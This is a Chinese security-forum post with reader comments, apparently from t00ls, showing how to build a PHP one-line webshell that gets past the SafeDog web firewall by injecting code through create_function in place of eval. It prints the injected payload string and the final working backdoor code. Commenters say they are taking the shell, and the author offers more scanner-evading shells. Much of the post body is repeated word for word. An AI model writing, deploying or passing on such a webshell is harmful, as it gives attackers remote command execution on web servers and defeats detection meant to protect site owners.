过狗一句话编写之代码执行漏洞函数代替eval
不知道这个能不能算上奇技淫巧 ,如果算不上的话,请各位前辈提示一下 修改板块..
今天下午看坛友发了一个求助贴,让帮忙分析一句话木马呢!
原帖链接:https://www.t00ls.com/thread-36667-1-1.html
帖子二楼的大牛分析的很到位,那个一句话木马用了函数回调的方法,传递一个存在代码执行漏洞的函数preg_replace来代替eval执行代码
然后我就想着,安全狗查杀一句话的时候,通常检测eval 和 $_POST[x]有没有同时出现 ,正常的POST数据不拦截,小弟的认识 说的不对的地方还望大牛指正。
然后我们将POST来的数据放到存在代码执行漏洞的函数中,这样,POST来的数据就被执行了。
因此就想着试一试~选择的函数是create_function函数,这个函数曾在wordpress最近的代码执行漏洞中是罪魁祸首,我刚好复现过wordpress那个代码执行漏洞,对create_function比较熟悉(原帖地址:https://www.t00ls.com/thread-36509-1-1.html)
create_function函数接收两个参数$args 和 $code 然后组成新函数function_lambda_func($args){$code;} 并eval(function_lambda_func($args){$code;}),那么我们只要构造$code来闭合}然后将自己的代码放到函数体外面就可以执行了。
构造$code
$code = "n;}$_POST[x];/*";
解释一下构造的$code:
双引号中$_POST[x]被执行(这里以提交x=phpinfo();为例)
;来结束语句
}来结束函数体
phpinfo();;就在函数体外面被eval执行了
/*注释多余的代码
最终代码:eval(function_lambda_func($args){n;}phpinfo();;/*})
那么phpinfo()就被执行了.
如图:
过狗测试:
最终代码:
今天下午看坛友发了一个求助贴,让帮忙分析一句话木马呢!
原帖链接:https://www.t00ls.com/thread-36667-1-1.html
帖子二楼的大牛分析的很到位,那个一句话木马用了函数回调的方法,传递一个存在代码执行漏洞的函数preg_replace来代替eval执行代码
然后我就想着,安全狗查杀一句话的时候,通常检测eval 和 $_POST[x]有没有同时出现 ,正常的POST数据不拦截,小弟的认识 说的不对的地方还望大牛指正。
然后我们将POST来的数据放到存在代码执行漏洞的函数中,这样,POST来的数据就被执行了。
因此就想着试一试~选择的函数是create_function函数,这个函数曾在wordpress最近的代码执行漏洞中是罪魁祸首,我刚好复现过wordpress那个代码执行漏洞,对create_function比较熟悉(原帖地址:https://www.t00ls.com/thread-36509-1-1.html)
create_function函数接收两个参数$args 和 $code 然后组成新函数function_lambda_func($args){$code;} 并eval(function_lambda_func($args){$code;}),那么我们只要构造$code来闭合}然后将自己的代码放到函数体外面就可以执行了。
构造$code
$code = "n;}$_POST[x];/*";
解释一下构造的$code:
双引号中$_POST[x]被执行(这里以提交x=phpinfo();为例)
;来结束语句
}来结束函数体
phpinfo();;就在函数体外面被eval执行了
/*注释多余的代码
最终代码:eval(function_lambda_func($args){n;}phpinfo();;/*})
那么phpinfo()就被执行了.
如图:
过狗测试:
最终代码:
<?php
$args = "tony";
$code = "n;}$_POST[x];/*";
echo create_function('$args',$code);
?>
评论41次
现在的安全狗,就是用菜刀连接正常的文本都被咬
get知识 拿走马
现在免杀的马儿我做了两款都分享出来了,另外一个没写在t00ls 有需要的话去我博客拿吧...签名里面有博客地址
好的 向你学xi学xi
get知识 拿走马
现在免杀的马儿我做了两款都分享出来了,另外一个没写在t00ls 有需要的话去我博客拿吧...签名里面有博客地址
get知识 拿走马
论坛里安全狗的人在 估计黑产牛又要嚣张了!
感觉以后狗狗会升级成能检测出所有远程代码执行了
php太灵活了. 各种变形混淆. 比较容易绕过查杀
现在一句话越来越猥琐 都有漏洞函数了
https://www.t00ls.com/thread-36370-1-1.html 之前写过的,大致分析了一下
学xi了,新姿势get
学xi了
表哥给你点个赞
估计过段时间,狗狗也会加上对函数create_function 的检查,能不能把这个函数也转换下?~
也可以用函数回调的方法来调用这个函数
过狗狗是好事。不过相信过不了几天狗狗就会升级了。
这种过狗方式好像哪里看到过的。。
66666666666666 WOLI GEGE
get it
估计过段时间,狗狗也会加上对函数create_function 的检查,能不能把这个函数也转换下?~
自从p牛发了php后门的文章后,每月都会出现这种帖子 各种回调函数 是不是都要开一个帖子?
D盾可以查杀出来 『D盾_WEB查杀』 级别 说明 文件 -------------------------------------------------------------------------------- 2 [可疑]create_function 参数 :..